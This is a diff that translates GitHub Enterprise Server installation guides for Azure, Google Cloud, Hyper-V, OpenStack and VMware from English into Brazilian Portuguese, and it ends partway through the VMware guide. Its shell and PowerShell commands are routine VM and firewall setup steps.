   ```shell
   $ az vm list -d -g <em>RESOURCE_GROUP</em> -o table
   > Name    ResourceGroup    PowerState    PublicIps     Fqdns    Location    Zones
   > ------  ---------------  ------------  ------------  -------  ----------  -------
   > VM_NAME RESOURCE_GROUP   VM running    40.76.79.202           eastus
-  
+
   ```
   {% note %}
-  
-  **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
-  
+
+  **Observação:** o Azure não cria uma entrada FQDNS automaticamente para a VM. Para obter mais informações, consulte o guia do Azure sobre como "[Criar um nome de domínio totalmente qualificado no portal do Azure para uma VM Linux](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)".
+
   {% endnote %}
-  
+
   {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
   {% data reusables.enterprise_installation.upload-a-license-file %}
-  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
   {% data reusables.enterprise_installation.instance-will-restart-automatically %}
   {% data reusables.enterprise_installation.visit-your-instance %}
-  
-## Further reading
-  
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+
+## Leia mais
+
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
index e8d6a0059e..f2f487daab 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Google Cloud Platform
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.'
+title: Instalar o GitHub Enterprise Server no Google Cloud Platform
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no Google Cloud Platform, você deve fazer a implantação em um tipo de máquina compatível e usar um disco padrão persistente ou SSD persistente.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform
   - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform
@@ -13,69 +13,70 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on GCP
+shortTitle: Instalar no GCP
 ---
-## Prerequisites
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/).
-- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation.
+- É preciso ter uma conta do Google Cloud Platform que possa iniciar instâncias de máquina virtual (VM) do Google Compute Engine (GCE). Para obter mais informações, consulte o [site do Google Cloud Platform](https://cloud.google.com/) e a [documentação do Google Cloud Platform](https://cloud.google.com/docs/).
+- A maioria das ações necessárias para iniciar sua instância também pode ser executada usando o [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). No entanto, é recomendável instalar a ferramenta de linha de comando gcloud compute para a configuração inicial. Veja abaixo alguns exemplos de uso da ferramenta de linha de comando gcloud compute. Para obter mais informações, consulte o guia de instalação e configuração do "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" na documentação do Google.
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the machine type
+## Determinar o tipo de máquina
 
-Before launching {% data variables.product.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de iniciar a {% data variables.product.product_location %} no Google Cloud Platform, você terá que determinar o tipo de máquina virtual que melhor se adapta às demandas da sua organização. Para revisar os requisitos mínimos para {% data variables.product.product_name %}, consulte "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
-{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation.
+{% data variables.product.company_short %} recomenda uma máquina de uso geral e de alta memória para {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Tipos de máquina](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" na documentação do Google Compute Engine.
 
-## Selecting the {% data variables.product.prodname_ghe_server %} image
+## Selecionar a imagem do {% data variables.product.prodname_ghe_server %}
 
-1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images:
+1. Usando a ferramenta de linha de comando [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/), liste as imagens públicas do {% data variables.product.prodname_ghe_server %}:
    ```shell
    $ gcloud compute images list --project github-enterprise-public --no-standard-images
    ```
 
-2. Take note of the image name for the latest GCE image of  {% data variables.product.prodname_ghe_server %}.
+2. Anote o nome da imagem GCE mais recente do {% data variables.product.prodname_ghe_server %}.
 
-## Configuring the firewall
+## Configurar o firewall
 
-GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)."
+Máquinas virtuais GCE são criadas como integrantes de uma rede que tem um firewall. Na rede associada à VM do {% data variables.product.prodname_ghe_server %}, você terá que configurar o firewall para permitir as portas necessárias da tabela abaixo. Para obter mais informações sobre as regras de firewall no Google Cloud Platform, consulte o guia "[Visão geral das regras de firewall](https://cloud.google.com/vpc/docs/firewalls)" do Google.
 
-1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation.
+1. Usando a ferramenta de linha de comando gcloud compute, crie a rede. Para obter mais informações, consulte "[criar redes com gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" na documentação do Google.
    ```shell
    $ gcloud compute networks create <em>NETWORK-NAME</em> --subnet-mode auto
    ```
-2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation.
+2. Crie uma regra de firewall para cada porta da tabela abaixo. Para obter mais informações, consulte "[regras de firewall do gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" na documentação do Google.
    ```shell
    $ gcloud compute firewall-rules create <em>RULE-NAME</em> \
    --network <em>NETWORK-NAME</em> \
    --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp
    ```
-   This table identifies the required ports and what each port is used for.
+   Esta tabela identifica as portas necessárias e o uso de cada uma delas.
 
    {% data reusables.enterprise_installation.necessary_ports %}
 
-## Allocating a static IP and assigning it to the VM
+## Alocar uma IP estática e associá-la com a VM
 
-If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
+Se você estiver trabalhando com um appliance de produção, é altamente recomendável reservar um endereço IP externo estático e atribuí-lo à VM do {% data variables.product.prodname_ghe_server %}. Caso contrário, o endereço IP público da VM não será retido após a reinicialização. Para obter mais informações, consulte o guia "[Reservar um endereço IP externo estático](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)" do Google.
 
-In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses.
+Nas configurações de alta disponibilidade de produção, os appliances primário e réplica devem receber endereços IP estáticos separados.
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
-To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+Para criar a instância do {% data variables.product.prodname_ghe_server %}, você deve criar uma instância do GCE com a imagem do {% data variables.product.prodname_ghe_server %} e vincular um volume de armazenamento adicional aos dados da sua instância. Para obter mais informações, consulte "[Considerações de hardware](#hardware-considerations)".
 
-1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation.
+1. Usando a ferramenta de linha de comando gcloud compute, crie um disco de dados para usar como volume de armazenamento para os dados da sua instância e configure o tamanho com base na contagem de licenças de usuário. Para obter mais informações, consulte "[criar discos no gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" na documentação do Google.
    ```shell
    $ gcloud compute disks create <em>DATA-DISK-NAME</em> --size <em>DATA-DISK-SIZE</em> --type <em>DATA-DISK-TYPE</em> --zone <em>ZONE</em>
    ```
 
-2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation.
+2. Em seguida, crie uma instância usando o nome da imagem selecionada do {% data variables.product.prodname_ghe_server %} e vincule o disco de dados. Para obter mais informações, consulte "[criar instâncias no gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" na documentação do Google.
    ```shell
    $ gcloud compute instances create <em>INSTANCE-NAME</em> \
    --machine-type n1-standard-8 \
@@ -87,15 +88,15 @@ To create the {% data variables.product.prodname_ghe_server %} instance, you'll
    --image-project github-enterprise-public
    ```
 
-## Configuring the instance
+## Configurar a instância
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
index 7901cb3efd..5aad79313f 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Hyper-V
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
+title: Instalar o GitHub Enterprise Server no Hyper-V
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no Hyper-V, você deve fazer a implantação em uma máquina que execute o Windows Server 2008 através do Windows Server 2019.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
   - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
@@ -13,61 +13,62 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Hyper-V
+shortTitle: Instalar no Hyper-V
 ---
-## Prerequisites
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
-- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
+- Seu sistema operacional deve estar entre o Windows Server 2008 e o Windows Server 2019, que são compatíveis com o Hyper-V.
+- A maioria das ações necessárias para criar sua máquina virtual (VM) também pode ser executada usando o [Gerenciador do Hyper-V](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). No entanto, a configuração inicial é recomendável com o shell de linha de comando do Windows PowerShell. Veja abaixo alguns exemplos com o PowerShell. Para obter mais informações, consulte "[Introdução ao Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)" no guia da Microsoft.
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Baixar a imagem do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **Hyper-V (VHD)**.
-5. Click **Download for Hyper-V (VHD)**.
+4. Selecione {% data variables.product.prodname_dotcom %} On-premises e clique em **Hyper-V**.
+5. Clique em **Download for Hyper-V** (Baixar para Hyper-V).
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
+1. No PowerShell, crie uma máquina virtual Generation 1, configure o tamanho com base na contagem de licenças de usuário e anexe a imagem do {% data variables.product.prodname_ghe_server %} que você baixou. Para obter mais informações, consulte "[Nova VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" na documentação da Microsoft.
   ```shell
   PS C:\> New-VM -Generation 1 -Name <em>VM_NAME</em> -MemoryStartupBytes <em>MEMORY_SIZE</em> -BootDevice VHD -VHDPath <em>PATH_TO_VHD</em>  
   ```
-{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Substitua `PATH_TO_DATA_DISK` pelo caminho no local em que você criará o disco. Para obter mais informações, consulte "[Novo VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" na documentação da Microsoft.
   ```shell
   PS C:\> New-VHD -Path <em>PATH_TO_DATA_DISK</em> -SizeBytes <em>DISK_SIZE</em>
   ```
-3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
+3. Vincule o disco de dados à sua instância. Para obter mais informações, consulte "[Adicionar VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" na documentação da Microsoft.
   ```shell
   PS C:\> Add-VMHardDiskDrive -VMName <em>VM_NAME</em> -Path <em>PATH_TO_DATA_DISK</em>
   ```
-4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
+4. Inicie a VM. Para obter mais informações, consulte "[Iniciar a VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" na documentação da Microsoft.
   ```shell
   PS C:\> Start-VM -Name <em>VM_NAME</em>
   ```
-5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
+5. Obtenha o endereço IP da sua VM. Para obter mais informações, consulte "[Obter VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" na documentação da Microsoft.
   ```shell
   PS C:\> (Get-VMNetworkAdapter -VMName <em>VM_NAME</em>).IpAddresses
   ```
-6. Copy the VM's IP address and paste it into a web browser.
+6. Copie o endereço IP da VM e cole em um navegador da web.
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
index 1c1de12f10..3074e614da 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on OpenStack KVM
-intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.'
+title: Instalar o GitHub Enterprise Server no OpenStack KVM
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no OpenStack KVM, você deve ter acesso ao OpenStack e baixar a imagem QCOW2 do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm
   - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm
@@ -13,46 +13,47 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on OpenStack
+shortTitle: Instalar no OpenStack
 ---
-## Prerequisites
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/).
+- Você deve ter acesso a uma instalação do OpenStack Horizon, a interface de usuário baseada na web para os serviços do OpenStack. Para obter mais informações, consulte a [Documentação do Horizon](https://docs.openstack.org/horizon/latest/).
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Baixar a imagem do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **OpenStack KVM (QCOW2)**.
-5. Click **Download for OpenStack KVM (QCOW2)**.
+4. Selecione o {% data variables.product.prodname_dotcom %} On-premises e clique em **OpenStack KVM (QCOW2)**.
+5. Clique em **Download for OpenStack KVM (QCOW2)** (Baixar para OpenStack KVM [QCOW2]).
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)."
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)."
-3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
+1. No OpenStack Horizon, faça upload da imagem do {% data variables.product.prodname_ghe_server %} que você baixou. Para obter instruções, consulte a seção "Fazer upload de uma imagem" do guia OpenStack "[Fazer upload e gerenciar imagens](https://docs.openstack.org/horizon/latest/user/manage-images.html)".
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Para obter instruções, consulte o guia OpenStack "[Criar e gerenciar volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)".
+3. Crie um grupo de segurança e adicione uma nova regra de grupo de segurança para cada porta na tabela abaixo. Para ver as instruções, consulte o guia do OpenStack "[Configurar o acesso e a segurança nas instâncias](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)".
 
   {% data reusables.enterprise_installation.necessary_ports %}
-4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation.
-5. Launch {% data variables.product.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
+4. Você também pode associar um IP flutuante à instância. Dependendo da sua configuração do OpenStack, talvez seja necessário alocar um IP flutuante para o projeto e associá-lo à instância. Entre em contato com o administrador do sistema para determinar se esse é o seu caso. Para obter mais informações, consulte "[Alocar endereço IP flutuante a uma instância](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" na documentação do OpenStack.
+5. Inicie a {% data variables.product.product_location %} usando a imagem, o volume de dados e o grupo de segurança criados nas etapas anteriores. Para ver as instruções, consulte "[Iniciar e gerenciar instâncias](https://docs.openstack.org/horizon/latest/user/launch-instances.html)" no guia do OpenStack.
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obter mais informações, consulte "[Configurar o appliance do {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)".
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leia mais
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Visão geral do sistema](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
index e725f7fd72..eae60e029a 100644
--- a/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
+++ b/translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on VMware
-intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.'
+title: Instalar o GitHub Enterprise Server no VMware
+intro: 'Para instalar o {% data variables.product.prodname_ghe_server %} no VMware, você deve fazer o download do cliente do VMware vSphere e, em seguida, fazer o download e implantar o software do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/articles/getting-started-with-vmware
   - /enterprise/admin/articles/installing-vmware-tools
@@ -16,44 +16,45 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on VMware
+shortTitle: Instalar em VMware
 ---
-## Prerequisites
+
+## Pré-requisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.product.product_location %}s. We support versions 5.5 through 6.7. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html).
-- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
+- Você deve ter um Hypervisor VMware vSphere ESXi aplicado a uma máquina bare metal que vai executar a {% data variables.product.product_location %}. As versões 5.5 a 6.7 são compatíveis. O Hpervisor ESXi é grátis e não inclui o Servidor vCenter (opcional). Para obter mais informações, consulte a [documentação do VMware ESXi](https://www.vmware.com/products/esxi-and-esx.html).
+- Você precisará de acesso a um cliente vSphere. Se tiver o servidor vCenter, você poderá usar o cliente vSphere Web. Para obter mais informações, consulte "[Fazer login no servidor vCenter pelo cliente web vSphere](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)" no guia da VMware.
 
-## Hardware considerations
+## Considerações de hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Baixar a imagem do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **VMware ESXi/vSphere (OVA)**.
-5. Click **Download for VMware ESXi/vSphere (OVA)**.
+4. Selecione {% data variables.product.prodname_dotcom %} On-premises e clique em **VMware ESXi/vSphere (OVA)**.
+5. Clique em **Download for VMware ESXi/vSphere (OVA)** (Baixar para VMware ESXi/vSphere [OVA]).
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Criar a instância do {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
